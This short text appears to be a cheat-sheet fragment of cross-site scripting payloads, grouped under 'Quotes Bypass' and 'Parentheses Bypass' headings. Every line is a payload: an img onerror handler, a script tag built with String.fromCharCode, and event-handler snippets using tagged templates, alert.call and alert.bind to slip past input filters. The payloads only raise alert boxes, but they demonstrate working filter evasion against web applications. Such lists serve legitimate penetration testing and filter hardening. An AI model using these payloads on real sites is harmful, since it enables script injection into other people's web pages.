# Quotes Bypass <img src=x onerror=alert`1`> <script>alert(String.fromCharCode(88,83,83))</script> # Parentheses Bypass onerror=alert`1` onclick=alert.call`1` onmouseover=alert.bind`1`